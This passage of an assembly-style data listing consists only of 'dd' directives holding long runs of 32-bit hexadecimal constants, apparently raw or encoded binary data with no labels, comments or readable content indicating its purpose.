		dd 1A3469EDh, 0B0DE01h,	0E03298BDh, 0C3963530h,	0CD7F53F4h
		dd 5CDBAB00h, 0CE374CF7h, 5C67CB7h, 8BB50CCBh, 80EC01BAh
		dd 0C4351CE4h, 0CE003918h, 0BDB4933Bh, 9C3AE7h,	0FAD96F25h
		dd 7F69A58Bh, 0FB00ADB0h, 0AC98ED44h, 0C957D6h,	553B0A24h
		dd 85A013C6h, 0A3820902h, 68FD7906h, 747F3AECh,	4770C083h
		dd 4B4D3271h, 1425DA01h, 0C0FE9DEEh, 3B467024h,	0E78B987h
		dd 0D8820264h, 0A1820B8Eh, 28827B06h, 0E910A94Ah, 181D0EC1h
		dd 2C81B1EEh, 0C43F1693h, 4A01F31Ch, 0A1C2B481h, 0F5C43348h
		dd 7A0500E0h, 83EE16FDh, 0AF004F39h, 18CC0A34h,	0AF0C804h
		dd 804A0564h, 0E9810330h, 38FE191Dh, 0A9CAAF0Fh, 0BF1C8ED1h
		dd 66423FC0h, 914C27h, 8083FCB8h, 0EFDC329Dh, 7CE5FA12h
		dd 0A9DFDE00h, 2E3E81h,	0E2B91E3Ah, 76DD98B7h, 34E44B00h
		dd 0B30C3D7h, 0B2433B02h, 2101E0BCh, 5A4B821Fh,	0D41080DBh
		dd 0BE43C032h, 2F3080B5h, 230EA0CFh, 84AC2Ch, 0BC0360B1h
		dd 1D01EE19h, 0FAFFC019h, 21805708h, 0BFBC0B45h, 53E46192h
		dd 7E767D01h, 0FE976B5Fh, 2FC9B050h, 0E10B187Fh, 1DE511C1h
		dd 4F247B00h, 47FDDA1Bh, 0DB08CC43h, 35090621h,	71A47Bh
		dd 0B36899D5h, 0A2B2033Dh, 0C5BA6770h, 0ADEE2890h, 0C9146A04h
		dd 40888713h, 0B4275CDEh, 0E04D3503h, 88E3D84h,	0F82181FDh
		dd 99DE812Fh, 3FCC2C9h,	1EB24888h, 0DAC54F03h, 58001B70h
		dd 7F2ED033h, 66DB6EBFh, 0EA49D05Eh, 163ACD30h,	0B62C8D3h
		dd 0AB0D1F69h, 0DBD63400h, 0B7003F23h, 3DA564E9h, 1F1CC693h
		dd 0DE3934B9h, 8003A06h, 7CA1DAD7h, 9F3A474Dh, 0A7F700E3h
		dd 0EBCA5C2h, 1B890C29h, 0C60961A3h, 9DA221C0h,	0DF69BCh
		dd 5D3DD102h, 0D5801C58h, 0F0F7B706h, 284FCAh, 64486DE2h
		dd 0C384D48Fh, 3CCCD619h, 21805808h, 664508Ah, 0BF78EFCAh
		dd 9E2B60C0h, 0C543AA8h, 0B9F69A9Ch, 25B05519h,	69B2660Eh
		dd 9DF481B4h, 17C4310Ch, 0BEBF03C8h, 169F48F7h,	0D4B3048h
		dd 68FC3588h, 10917E0h,	1296A323h, 0EF7E49B6h, 21100830h
		dd 323F141h, 0E9628E77h, 0DED0820Ah, 0F788022Ah, 309EE81Dh
		dd 0C711A3EFh, 64010E9Bh, 0FB698E3Eh, 8989626h,	93E421B3h
		dd 0AF600E01h, 0DA2BF8EFh, 8498A0B2h, 0F4230D30h, 22F24696h
		dd 0F53D0011h, 7826FC23h, 5330D029h, 31E848DBh,	0E07F2A1Dh
		dd 24E46E0h
		dd 290DBCA4h, 10C83191h, 1BC9CA1h, 0FC440379h, 4658394Ah
		dd 0CD205824h, 0D2B0467h, 83FC92F5h, 6E0752Dh, 98E0D81Eh
		dd 80AAD63Ah, 70C643B2h, 181444F8h, 18B818C5h, 153AD59Fh
		dd 0ADA7079Bh, 64703476h, 1B558AD4h, 407EEFEDh,	27053698h
		dd 519F2230h, 3C34B79h,	1004ABD5h, 0CBB3FA23h, 16E057BBh
		dd 0B883BA5Bh, 0F86F507h, 0BB555E6Ah, 6E3F8260h, 0B96023C5h
		dd 112A1881h, 298F3B95h, 9359C601h, 80BA066Ch, 1E511621h
		dd 0C119B47h, 92AD89DCh, 2948D618h, 0EF6007B3h,	70F00D34h
		dd 0C0E19E43h, 0AEAC1C88h, 4760A099h, 81A6D649h, 2BC001Eh
		dd 93D0F036h, 0CF1E142Bh, 0D840D5A3h, 3E6EE327h, 10BC000Dh
		dd 0A58853DDh, 7CB050FCh, 2259C71Dh, 0A7BE8DC7h, 8F56AC00h
		dd 1808C6C9h, 4D0020A5h, 0CC488DD4h, 0FE96F9h, 252A1D06h
		dd 5571C368h, 3E11A71Dh, 0C8ABE3Fh, 19C40B0Dh, 8E462039h
		dd 0B7D49007h, 92C0708Ch, 0C859C8F2h, 0FDC0F788h, 0FFA7BF8Dh
		dd 42880A18h, 0C58D1CD5h, 0E29DC72Fh, 923EA0A7h, 0CA188AECh
		dd 2D480288h, 0F1330112h, 0F92E4FB1h, 5673E0FFh, 48049500h
		dd 6826E166h, 315967E6h, 80F941EFh, 79118057h, 0F0EE6463h
		dd 0CBA90C86h, 61084EDEh, 7E9A21C0h, 25B364h, 5B38C426h
		dd 50D221DCh, 3BA00C4Fh, 0B0A460FAh, 16D9C002h,	530E620Eh
		dd 0B256674h, 21BD6008h, 3A1701D7h, 52803705h, 0EF8084F7h
		dd 0C36BFA8h, 0DFE1AB77h, 561A8F58h, 17B85D4Dh,	817F1158h
		dd 45331CC9h, 1C156AC8h, 0B0295F0Ch, 878FB350h,	85648400h
		dd 2303B8A5h, 0BFD4A3BBh, 0C96AE4A0h, 0A7F6DDh,	0C58977D2h
		dd 0C3B4738Eh, 90E86E00h, 0CEEF2253h, 817507DDh, 30F8794Fh
		dd 74508809h, 723D2F02h, 0E041521Ch, 93710D0h, 0F8D09549h
		dd 5CB15D00h, 920044BEh, 0BFCC9069h, 0CBABD3h, 0A59394FBh
		dd 10A262A9h, 0C3C73000h, 0D14A8A1Eh, 0B09B3005h, 0B94B3208h
		dd 0E0318B12h, 0E010821Bh, 1C8DCBE5h, 83AD6D33h, 6F8584DDh
		dd 803126A1h, 72BAB620h, 0CF55BAEh, 9E82B45Dh, 31444559h
		dd 689F887h, 0DFEB281h,	0B70021A4h, 0E715824Fh,	3ADF56Ah
		dd 0A6F47F3Bh, 393C3F44h, 126B00C3h, 0DA3A15E3h, 0A44100EAh
		dd 0D1766F66h, 6A0EF8A8h, 5F96AC8Fh, 0FD03FE2Ch, 0C17099Fh
		dd 0E8511841h, 24749EC9h, 0F4BE19C3h, 3816D0B4h, 0F4FC7937h
		dd 0FA7C059Fh, 70AF202h, 0C3E21814h, 117A49B1h,	0BADB0C02h
		dd 0A09E89F9h, 0A278D580h, 0C6710055h, 0ABB9A62h, 0B801156Ch
		dd 8C4D0E64h, 0A858FE31h, 257208B9h, 1DC4BD6Dh,	72E0A840h
		dd 4619A23Fh, 21D07C10h, 0F6443408h, 0A497540Ch, 448A045Eh
		dd 87C804B2h, 2689F058h, 21CF9B0Dh, 0D06F61B5h,	6AD4B6A4h
		dd 7EBE0158h, 0ABFB359h, 579800Eh, 0C95C8B9h, 0DD790009h
		dd 0F49C33Dh, 21C03F0Dh, 0DC9F0492h, 3FFF7025h,	866ADEAh
		dd 6C506995h, 2500EFBFh, 688B273Fh, 0C01E5F18h,	6AEEA561h
		dd 0A912451Bh, 3840B874h, 0EC0F101Ah, 3AF1005Fh, 36EABE85h
		dd 0D4824A9h, 69E18024h, 919D06h, 65FCB779h, 0C6BE97C1h
		dd 559E805h, 0F0024E43h, 0D2FDC5h, 2AE6C4F5h, 6B9C4C54h
		dd 743243Fh, 46CA4793h,	0A4082026h, 1BF03D34h, 892B15F4h
		dd 9B00B0ECh, 66A7B026h, 76127EEBh, 68204487h, 7BBAB4C2h
		dd 33DDE830h, 3193C2Ah,	0CA282288h, 27CBE303h, 0F817C4CFh
		dd 9CEC6Eh, 0A83D3985h,	0A01A3AFCh, 29183639h, 0A311E8F2h
		dd 50681B00h, 0B5E6EDD6h, 0FB14E1E2h, 8CC482C3h, 0E3D410E2h
		dd 450818F7h, 9B48814Eh, 0DBDE5102h, 842FDD1Ah,	3360E784h
		dd 937EC743h, 0F147448Ch, 0EF0F0E7Bh, 0C087837Ah, 0CA15FB93h
		dd 6EB40F29h, 5881CB5Ch, 0EC1F95CCh, 342A17A2h,	0C31F027h
		dd 0A012C19Ch, 14480DBh, 609800D4h, 8FB2775h, 817737C9h
		dd 68E03C13h, 0E8BC6E00h, 0D90149C4h, 2092E17Ah, 2524DEBBh
		dd 79C4340Fh, 9FFB7240h, 0CA01706Fh, 0FE77EB1Bh, 92C0400Bh
		dd 2C92B4h, 0C3994C62h,	5A1595A3h, 76D2221Fh, 6A165B00h
		dd 56B73EEh, 17D482F8h,	0B5940430h, 46193029h, 20B023B9h
		dd 0B443Dh, 57E643F4h, 0FBA10D2h, 0DEC2D800h, 0C59F312Bh
		dd 1129C030h, 0D7F72552h, 41853E00h, 24A5EC12h,	0CF04CE3h
		dd 0C800E123h, 0D56D268Dh, 0B783856Ch, 0E9C472EFh, 0DF8B566h
		dd 6E88A898h, 7BBB7035h, 9BEF000Bh, 0C97895BEh,	8930E647h
		dd 3E1A419Fh, 83D4F9FDh, 70F70023h, 8D59FE80h, 68059424h
		dd 0E0AFA2A5h, 32FB0082h, 680CF040h, 2C90D3h, 72E100C5h
		dd 0E88F737Dh, 224C9EADh, 0C0C89058h, 3408297Ah, 0D05B00B2h
		dd 0EFCF8755h, 0D5009B6Ah, 6D5D99DFh, 0C1741B9h, 0D291D306h
		dd 0CF00F139h, 0C22908FFh, 3A524EA6h, 0DA30A5AAh, 0FFE71C21h
		dd 0C2503400h, 9F394C0Bh, 140AE08h, 6F2AC4ACh, 0F89B3C61h
		dd 0EB000994h, 4E294C3Bh, 90DB7BC6h, 2024644h, 25DD9FE1h
		dd 17867D7h, 0F09FFA6Dh, 0F2C8DC44h, 60184509h,	89E811F4h
		dd 8A46D410h, 9CA87C5Eh, 190BA00h, 96BEF62Dh, 3FB5601Eh
		dd 0BC3AE056h, 45061923h, 2B1400Dh, 0D7A90C13h,	186CDC1Fh
		dd 7A16D200h, 6B2CB2CBh, 1124B006h, 22319F2Ah, 0B2BA00A4h
		dd 4C098354h, 0FB0A34F0h, 68067950h, 0D7A065C0h, 0ADE00082h
		dd 583671B4h, 0FB122103h, 80049114h, 2B07C4DCh,	3D44E238h
		dd 807FC8AFh, 68EE1B60h, 0F2006281h, 48E0B0FFh,	1265F6Eh
		dd 1E9ACAF5h, 31EA65CEh, 0DD0842ECh, 0E2FFB833h, 0A5B22129h
		dd 1202CE91h, 278406B5h, 0A20034E6h, 9EC2E2EFh,	0AE6250Ch
		dd 6AC3A301h, 939B0C68h, 310F4BA1h, 961E44A5h, 4423243Eh
		dd 0B079C700h, 6713DECh, 0CAA2341Dh, 0B41861D9h, 4579B676h
		dd 650B8819h, 0A2F32000h, 47BA7959h, 50BF01F5h,	249F4328h
		dd 2B298032h, 617C6493h, 3A6B0501h, 8229382Ah, 7300CD4h
		dd 25CF089Fh, 0E358FD27h, 619F00E6h, 0F05A5BF1h, 2418A776h
		dd 0B4F00D42h, 1A048629h, 0F8B0D446h, 0A203E62h, 0A4A4301h
		dd 886AB467h, 33116Ch, 9587096Ch, 15B685F7h, 84D391BFh
		dd 0B1A62402h, 3C60FB7Bh, 90A4DCCBh, 0C92B1F33h, 82ACD2h
		dd 0FFDB30EFh, 0E2290408h, 40CC64A6h, 9406B320h, 21820A75h
		dd 43ECC4C3h, 0A1039D0Dh, 0FAF688CCh, 963D9036h, 945A0003h
		dd 0EFDDE5A4h, 7333DF04h, 88D339C3h, 1D6669h, 38D55F7Bh
		dd 0FF2621A4h, 0C040D628h, 78446728h, 0E9D95400h, 84FB685Eh
		dd 38943BEFh, 28A81DAEh, 7FA46F0h, 681972D5h, 521AC4E8h
		dd 8772F507h, 479E99E0h, 371228AFh, 4A892290h, 3E81CB02h
		dd 85F29BD5h, 780098A4h, 185DCAC5h, 1220B15Ch, 0C13C200Ch
		dd 0EC0754BDh, 0CB5D5F68h, 0AE31F440h, 0E3880024h, 4080EB9Dh
		dd 0A40A77CFh, 0C0E2060Ah, 0E3FFDEC0h, 0A5AA2129h, 1100D991h
		dd 87C206B6h, 0F12669E9h, 83415889h, 0B1DC22F0h, 265E014Ch
		dd 94E8CAEDh, 0D7A0705Dh, 13BC273h, 0A9F434DCh,	0F65D2090h
		dd 13AE7D9Ah, 3ABA35CDh, 1C2394h, 0F89C984Fh, 0D201E7EBh
		dd 0CDC46EA4h, 50295C19h, 79AF0C1Bh, 0BB0F6AF0h, 163EC87Ch
		dd 81C20088h, 97FB3AD3h, 8283DD4h, 2129A692h, 0C47699CCh
		dd 0B303A351h, 0B41465C9h, 5590383h, 0E95E19C8h, 897BB10Fh
		dd 0CC91A1D2h, 10267097h, 78AC004Dh, 0DFA2A600h, 99F29F8Ch
		dd 20710524h, 0D2104D29h, 2730B36Ch, 0B0D33F43h, 58E8C9A4h
		dd 91F6020Dh, 1164675Ch
		dd 921516ABh, 4E00F0DDh, 0ACE528F4h, 6107ADC1h,	157744DFh
		dd 9770CBE2h, 80221138h, 7C0FF23h, 904E4C65h, 9B139D22h
		dd 9C34DEB0h, 4C2EA820h, 46A0B877h, 72D402FDh, 71F5681Ah
		dd 0DCC36054h, 5018AC72h, 24E042A8h, 85D4B94Eh,	84A56626h
		dd 45400B0Ch, 0EB5BE490h, 2CB9570Fh, 9DCC4012h,	3F7C449h
		dd 3C6C3382h, 0A978B792h, 0D3CEBB09h, 760301A3h, 62E04428h
		dd 0D1A13B31h, 576EB483h, 0CCF0A8CBh, 109C322Bh, 321465Eh
		dd 0F31B407Ah, 9EC0DC44h, 0F0B83CDEh, 0C0B256C4h, 0CE1D214Ch
		dd 7C9625B0h, 0AA0F0C3Dh, 715C6031h, 7FFF0158h,	0AE391A23h
		dd 28573D4h, 32A5A9D1h,	0D851DDBAh, 0F9189579h,	73193F00h
		dd 51180EBBh, 1FD1D31Bh, 0D5E222B8h, 3779B270h,	0A42A9500h
		dd 23F046C4h, 1A8401B9h, 9973F120h, 0F2E0402Ch,	3A025382h
		dd 43662A01h, 914C95C3h, 0F654807Ah, 0F4BDA425h, 198B2280h
		dd 5F8D5D00h, 7CAC86B8h, 29E63Ah, 0C68C6F10h, 2C259413h
		dd 0A616C502h, 0E631E0CCh, 3DA7F238h, 0E200411Fh, 0A9249DF0h
		dd 0F301460Ah, 0C5F6E1C1h, 0DEBC81h, 43D515D1h,	3E286400h
		dd 9E8AACC8h, 0B2170083h, 0C6E21E03h, 0D10FEAC1h, 0F43B04A4h
		dd 94390050h, 0E5FA2A47h, 1BC20033h, 849BC402h,	1F02AFA8h
		dd 7B9C908Ch, 0FC640Dh,	0C5CC2806h, 5F2F994Eh, 889D2900h
		dd 5ADE83B9h, 3B81FFCh,	0CBDFC095h, 1868789Bh, 0A040604Fh
		dd 627F4484h, 74BD2649h, 0BB864008h, 23501401h,	0B91961C8h
		dd 3271249Eh, 0DEA633D8h, 8EC0C050h, 35365229h,	0EB4EA800h
		dd 6FC780CDh, 205C001Dh, 6BCF3A4h, 0CA0068DBh, 0F5FD1682h
		dd 90636B21h, 9D3701D0h, 0A960516Eh, 0E97CF8E7h, 69701A00h
		dd 0CAC9EADFh, 898D1917h, 0D431B1EDh, 15003A78h, 85366A1Ch
		dd 13AB0B43h, 0D091B6E6h, 7A502940h, 52341100h,	8EBD8110h
		dd 2317648h, 0C69F3980h, 0F4C0A1B6h, 34DE12Bh, 0F430221Ch
		dd 0F4E00784h, 40A5E443h, 85ED8317h, 0F899CB24h, 40D07312h
		dd 2437677Ch, 38F73F2Ch, 9D21FA00h, 4A28A815h, 0D24AD16h
		dd 0EAB04020h, 4280005Eh, 1F4E77FFh, 7507594Dh,	0E4960DA3h
		dd 0A7CB35E0h, 0BC7C2723h, 0FA8A58A0h, 5D0A9A76h, 8F213139h
		dd 0B0B00918h, 79C1884Bh, 0CB526B03h, 0B8AC19AEh, 2C12AD27h
		dd 3887F0h, 0F397B68Eh,	0E8A01155h, 851F3E7Fh, 8C7A1F06h
		dd 0D1E0CDA2h, 3B6E130Fh, 8D98C809h, 314A7700h,	620876DDh
		dd 0DC195014h, 13633A17h, 39B1626h, 8A1EBFEBh, 69645807h
		dd 0E66784AAh, 2A9B5DC0h, 1E970E0Fh, 0F4820C82h, 106140AEh
		dd 2F681016h, 2E120EEBh, 3E004A1Ah, 0C5174D26h,	0F2013776h
		dd 0A662602Bh, 94698A2Ah, 0AF960A7Fh, 6C7025Fh,	60FE4451h
		dd 3000055Dh, 5D852903h, 0EB893020h, 0EB85A11h,	74B39D00h
		dd 5271A0Ah, 16381411h,	0B0981CD2h, 0C2AAC61h, 8BEAE0A5h
		dd 3FF33600h, 0B53E72D7h, 6B0B052Ah, 0C85D181Ah, 120C7D04h
		dd 8801F8A9h, 29432484h, 0E8FC402Ch, 0EA701526h, 0E7A21B02h
		dd 0E42AE099h, 4DE13A38h, 17404100h, 0C354CFD8h, 7EC6E00h
		dd 0A0385C86h, 0DF3D1DE8h, 44BFCBE3h, 0EC0A8868h, 0CA412600h
		dd 6B6E9410h, 27CA9080h, 8278A2Bh, 594160C3h, 0C6001630h
		dd 2315E933h, 0ADC20C5h, 44A4A39Ah, 0C0750044h,	0B7A728C1h
		dd 0D867B09h, 5D189089h, 4C1A17BAh, 6A500471h, 0AF04C0B5h
		dd 948378Eh, 74520500h,	0B8880E66h, 4D1D0008h, 11D528B7h
		dd 0CA06B6A9h, 14444796h, 9AD05871h, 0A5F8CD03h, 0F5A8898Fh
		dd 0C83BD2B3h, 2F29A7B1h, 0B940DD34h, 0AF82F94Bh, 0A78700A0h
		dd 63C403DEh, 9E184F34h, 5F10D5Dh, 0D64360D9h, 71C3085Ch
		dd 40C10CA2h, 386D10D2h, 2CC006DFh, 693A291Dh, 75C1CB00h
		dd 4CAE77Bh, 0ED1802F5h, 0D87E495Ah, 0B434DFC0h, 17682DE7h
		dd 18020EF0h, 2FC29206h, 9387020h, 0FF00F641h, 0B603E84Ah
		dd 3EA51A4Eh, 0C1864259h, 31521824h, 0B13DD104h, 0D087F057h
		dd 0E45E5320h, 0C0BC7980h, 8FC9C721h, 8300C549h, 50E69C62h
		dd 17562134h, 8F4801Eh,	9E804CECh, 2DAD7C25h, 3DD271A8h
		dd 0F22EDEC1h, 19B40058h, 6F6B3EE3h, 0A8BC8224h, 0E0A95543h
		dd 7E1A5452h, 0DF9D0130h, 345320EEh, 3E42D92h, 0FF2A82A6h
		dd 14BDB85Fh, 638400BAh, 0E2A82961h, 88333380h,	0B26BA4EEh
		dd 4438502Ah, 9313114Dh, 2000014Bh, 31D27467h, 81C1006Fh
		dd 0CBE0E548h, 8A187E83h, 0FB71AB91h, 16923AC0h, 205F4083h
		dd 58F07E0Bh, 59046979h, 179F538Ch, 0B1FC84C8h,	0CF1E8014h
		dd 975D4CA3h, 0DCB23E02h, 86907AADh, 3A486E87h,	7B0023B8h
		dd 746DF250h, 0DF6ACAA2h, 4701EC79h, 0A184B42Bh, 14221C29h
		dd 40E94B1Fh, 0B4160039h, 38605FD7h, 0C0B929h, 49B16CFDh
		dd 961D72FFh, 9CCEB30Ch, 0CD5E20EDh, 7327B42h, 0B994F752h
		dd 0C3A391DBh, 9E902868h, 866B9061h, 3D9828D2h,	8800A734h
		dd 0C9958CACh, 0AB4473CDh, 1F50B501h, 0C75A8100h, 0AC97B29Ah
		dd 89601D8Eh, 70E9A2h, 3484186Fh, 6D5D2616h, 61A71E10h
		dd 59709E43h, 4412C5A2h, 8840261Fh, 8C24C881h, 0F7390C44h
		dd 6C21CF92h, 5272D900h, 14AB1B07h, 777A00FCh, 8D01ECFEh
		dd 8303E7C9h, 6CB6A7F0h, 0F8D14030h, 0B1AC1FAEh, 0D00ED396h
		dd 24C79F34h, 81D9F003h, 98DFAFF8h, 3ECA189h, 0B9583810h
		dd 7900A990h, 0C330622Dh, 177D500Eh, 8845A43Eh,	7B011BE8h
		dd 64A9E262h, 6180A30Dh, 0B82CBFBAh, 880073E8h,	0C9ECB27Bh
		dd 278FB193h, 0C4200D90h, 7729CAA6h, 964B5C00h,	579D3DE0h
		dd 2FE402A0h, 2B39CB84h, 7FC0FC79h, 7165CF3h, 0A089D012h
		dd 57ABD340h, 0CC3E2EC8h, 0DF2AFB00h, 93872FC7h, 352F8D0h
		dd 0C3B53223h, 20D55686h, 3A724EE8h, 0BFBB6601h, 80F8407h
		dd 53F05D2Ah, 47200080h, 0D4DDB5E2h, 0BC008CA6h, 92AAE637h
		dd 0F5B1E93h, 76AC5F6Ah, 417114E1h, 0E8328Ah, 0FE0D5A60h
		dd 4CA4018h, 0B5BA64A2h, 30A253h, 0A5437F25h, 3D4FC5h
		dd 5AE42960h, 0D1CE46C6h, 0D976A800h, 27E803DDh, 0E6EA04C9h
		dd 43F589FDh, 0D0F2217Fh, 0D3AC70h, 5EFA8375h, 916BC2F0h
		dd 0E0DE9D09h, 9B4C04EEh, 52C3898h, 0F3AA277Ch,	0D008845h
		dd 0DD982003h, 886D4E96h, 7BBB9C55h, 0BE4300F8h, 84D191E7h
		dd 8309B14Ch, 85A68CB4h, 0F0824974h, 76704044h,	937F18F9h
		dd 0DA2B698Ah, 8496A23Ch, 0D8B0BC2Eh, 0A5CBECC0h, 16D20091h
		dd 95DF2838h, 0BF4C9F84h, 3D8280B0h, 4F8B6285h,	0C6C021D8h
		dd 0D061C52Dh, 86000F92h, 3CA9F75Dh, 0E66BD6FCh, 0C9779A5h
		dd 0B673D2F0h, 34764781h, 0A5F09Fh, 2A77B9B2h, 8FD45E3Eh
		dd 8F282948h, 0E1CE6EE6h, 3BB11747h, 35207C4h, 88F6491Fh
		dd 0A0F3541Eh, 105163A0h, 61B6790Ch, 0A1B891h, 0ADF95784h
		dd 7594451Ah, 0AC4C8600h, 0D2618001h, 718400D9h, 0D1A06FE3h
		dd 50C28C9Ah, 640E249Ch, 5DFB007Ch, 0C01A23ADh,	0C27341F5h
		dd 5C389998h, 0EF1400DDh, 8830522Fh, 0CF1924E4h, 49B21CECh
		dd 90E4178Ah, 0F45D6F0Fh, 10442BA4h, 1573B4h, 42F6F28Ah
		dd 5066E6C0h, 0A6F51B00h, 28841EB8h, 456A22B4h,	60E9E039h
		dd 0EE85C0D8h, 3E570E24h, 5162587Ch, 0C840FA62h, 18621986h
		dd 5A90CC3Ch, 4E970068h, 0D3F134FFh, 4509B3F4h,	1047C5Ah
		dd 51182EB8h, 53871828h, 0B08D80B1h, 3100E921h,	0D4019F5Bh
		dd 180FA4CEh, 8DC7CCFh
		dd 0B6010669h, 251BDBC4h, 553012B5h, 9D55007Fh,	77E42D65h
		dd 0B907D73Eh, 0E35D57A7h, 0D20349B0h, 401C6022h, 2AE290A5h
		dd 753D8401h, 0BEF9C029h, 1D7C12CCh, 0EA51A1h, 9641364Fh
		dd 0A0605A55h, 9490FF79h, 0C7011BE6h, 1EE04822h, 76002C48h
		dd 0C22516B1h, 37C57334h, 0A02126C7h, 2F56616Fh, 0C34A4300h
		dd 0E37B16E0h, 46220005h, 0C7DA03BBh, 0EE1DB749h, 78A86F84h
		dd 80A2523Eh, 7B20E55Dh, 1B5545D6h, 21D3C6E6h, 0ECB0BCB3h
		dd 801C3A1h, 403F50B1h,	64E0ADB2h, 0DB6C03CCh, 0A3595570h
		dd 0D07AC11Eh, 7B684114h, 0E023F0CFh, 97E3F975h, 0B7B303CEh
		dd 62A7F285h, 4ECFC003h, 7B8DB98Eh, 0D5C430B8h,	0C28CEC81h
		dd 80B45B38h, 684DBA2Fh, 6154552Ah, 73F661DFh, 48450CCh
		dd 0D81D09D2h, 1A801712h, 90C1F09Dh, 1894FEF5h,	59DCC706h
		dd 0E0E22F92h, 8A538B3Dh, 0C8EDB315h, 4A338A07h, 351F7A10h
		dd 0F4E21E11h, 0D025C0AAh, 0F6A76559h, 0FF06854h, 0D47B8B19h
		dd 4CF4AE89h, 789200E3h, 0ADFE6066h, 0D2E2FD46h, 2B63EF06h
		dd 393FC7h, 2E1D3AEh, 0ECF2908h, 7D00ACEEh, 0C3DC7142h
		dd 60FC558Ch, 7B6C59A2h, 14078BA1h, 0D5E4C01h, 0FE22A440h
		dd 60857B90h, 68B183Fh,	80129355h, 4803F8D9h, 0D06EB17Ch
		dd 0F928F9Fh, 72F9D4FAh, 0C1F278E6h, 913BC830h,	936C44h
		dd 0A3388883h, 56E0672Dh, 1E422307h, 2B4062C4h,	30F4C1BFh
		dd 399F87Bh, 0BE00C0C6h, 0C79C6C85h, 549564h, 0D9824028h
		dd 31A230F4h, 0AC9FE400h, 11F1B12h, 0F86754A0h,	4A130309h
		dd 0A77403DEh, 0A1F022h, 0ED67C024h, 29541817h,	3EC7B918h
		dd 0C84DA9h, 0CA04CE90h, 136D42F5h, 0E9232101h,	7EBB955Bh
		dd 0EA2020h, 0D209D9F7h, 67F68DA0h, 54091091h, 0D1830011h
		dd 14E77543h, 889D08F7h, 0F5C63380h, 360757F4h,	90DAB864h
		dd 794B2C40h, 7C5B0076h, 6F0AAC4Ah, 0FE02C74Dh,	0F9B057D1h
		dd 0A0084673h, 391FCD0h, 0A1D92437h, 0AD31C0h, 0A0E886A0h
		dd 0C63EFF50h, 1B7F18A8h, 1D70BE39h, 8110ABE2h,	0F990F808h
		dd 0C668F46Ah, 0B37B0402h, 4666556Ch, 6A3907F8h, 0E010D97Eh
		dd 42ECA8Dh, 52A8C648h,	0F97C15DCh, 9BF800A8h, 3D51B42Eh
		dd 5E5D1CC8h, 7DE302D0h, 98806ED2h, 7C6AA1B2h, 0A911E60h
		dd 12499380h, 20E8559Eh, 0F9AAF6E4h, 4C020870h,	0F2FC9160h
		dd 76E046BBh, 0DF30C874h, 1CE8F43h, 0FF65A0B1h,	20C329B8h
		dd 51018C5Ch, 2DE96807h, 798FF37Eh, 0D80040EFh,	0A80A03E4h
		dd 2778630Eh, 0F1248042h, 38AFDA26h, 0F0D0F628h, 9CB4995Fh
		dd 9B7182FCh, 0E0647B7Eh, 94FBAA02h, 4045CAF0h,	328F8727h
		dd 0FEC854E7h, 0BA1814A0h, 7300BBE4h, 0E16429EDh, 0C06854C7h
		dd 2772D0B8h, 3C0256B9h, 0C0BB4A0Dh, 8952E195h,	1FFAAB60h
		dd 64CC0716h, 0DBC68A3Ch, 0DD6580C0h, 0E99A253Eh, 0B046AF6h
		dd 51CC929Dh, 0EFFDF0C0h, 746F4CA8h, 3285B1C0h,	0C71E162Fh
		dd 0F000F9C3h, 757A4F89h, 0B75E1626h, 995418EDh, 0F81304CFh
		dd 50058CC2h, 0B443C976h, 0BC47555Dh, 301488h, 1CCDCFD4h
		dd 0B81AEE27h, 68F01326h, 82E08539h, 0C800B294h, 0F7A7C491h
		dd 91D960C7h, 7D1599A5h, 0BA471000h, 0AE6AF1D6h, 0E8CB0C38h
		dd 18F0E50Fh, 2F190400h, 0E20DC712h, 4022E94Ah,	0ECF1DA01h
		dd 0F4993D7Ah, 0E00EC583h, 0C029D967h, 239021ACh, 76A33001h
		dd 5194E4D1h, 9118E9E1h, 4E00E648h, 0DE8A1D88h,	0B3004706h
		dd 0A76215A1h, 0B3C4321h, 5A272F8Ch, 0A82CA030h, 0B5F48D00h
		dd 7BD22D66h, 4149210h,	0E77EA149h, 7104C106h, 8F088AEAh
		dd 878F5C62h, 2E08A007h, 0C3E9A1h, 26375B40h, 1BAA43D0h
		dd 0B73D3300h, 41A246D9h, 2C77026Fh, 0B35209D5h, 0DC07F066h
		dd 0DED0F784h, 933E5A40h, 0B67048h, 0AD861DCFh,	31132A42h
		dd 8011053Bh, 0F9D9BBE7h, 5855E4C2h, 2FC7FC64h,	0B9F1326Fh
		dd 0FCDC6861h, 0F4297129h, 67839CA0h, 0DE696F1Eh, 112300E0h
		dd 0F9DAB77Ch, 0ED60C471h, 0F04172D9h, 1D1905BDh, 0E43C724h
		dd 0E8637CFDh, 83FB6037h, 0E6CAB0F8h, 16794D00h, 0A7D9D04h
		dd 0C30B0E0h, 209AF680h, 4D037E99h, 864F7873h, 0AEC3C86Eh
		dd 702C90F9h, 0DC061D16h, 60DC664Dh, 0A415ED3Fh, 3D6B0200h
		dd 47CB7A31h, 0DBCC0039h, 9300A96h, 0C802B70Fh,	1460AE1Ah
		dd 0BDE8907Ch, 4327C0Eh, 126C7083h, 0C89C84E0h,	4B988F24h
		dd 0B817B1Dh, 89B51600h, 4CD21265h, 498E6820h, 640A5B40h
		dd 8712F8B6h, 0DC01478Ah, 0D260EDF6h, 0EF7C698Ah, 739F009Eh
		dd 20A9E29Ah, 4AB14Ch, 916F4D9Ch, 2C08D7EDh, 45289DF7h
		dd 62A4C8C6h, 0DD38E898h, 23F28179h, 6F959C7Dh,	3764070h
		dd 0E30B1694h, 33A0172Ch, 91185A41h, 234927FAh,	11EA0E2Fh
		dd 17CE4E32h, 0A1644137h, 81E97C95h, 84528BC9h,	17FCB356h
		dd 20C7500Eh, 544B3D9Bh, 72A27901h, 0D0E342B3h,	0D2110AE5h
		dd 7D4C117Ah, 8FFB9B0Eh, 0A824CB21h, 1008700Fh,	0A4F288h
		dd 0DCF025A6h, 96684F33h, 0F90968B0h, 0C531B0h,	80AAD30h
		dd 0EEF518E5h, 48B46870h, 60008274h, 887A3F90h,	0A8D8D4F2h
		dd 18C6098Ch, 11DAC770h, 0A9098948h, 81B5E336h,	0E77F2D81h
		dd 9C878180h, 0CEE1171Eh, 0FB91520Eh, 0DF7BE00Dh, 0B6E0B10h
		dd 1E934A3Fh, 0EB76DC82h, 6F2384E0h, 734F7B05h,	0B4809DADh
		dd 44EC964h, 0EE79DA75h, 3A44821Bh, 1847402Fh, 7E28EC11h
		dd 0B234305Bh, 0F00B3BB4h, 81149B5Dh, 8DF6774h,	0E9D97F4h
		dd 0DC90F46Fh, 3D06EA61h, 565AC404h, 0F2D44F00h, 9EF6954Ch
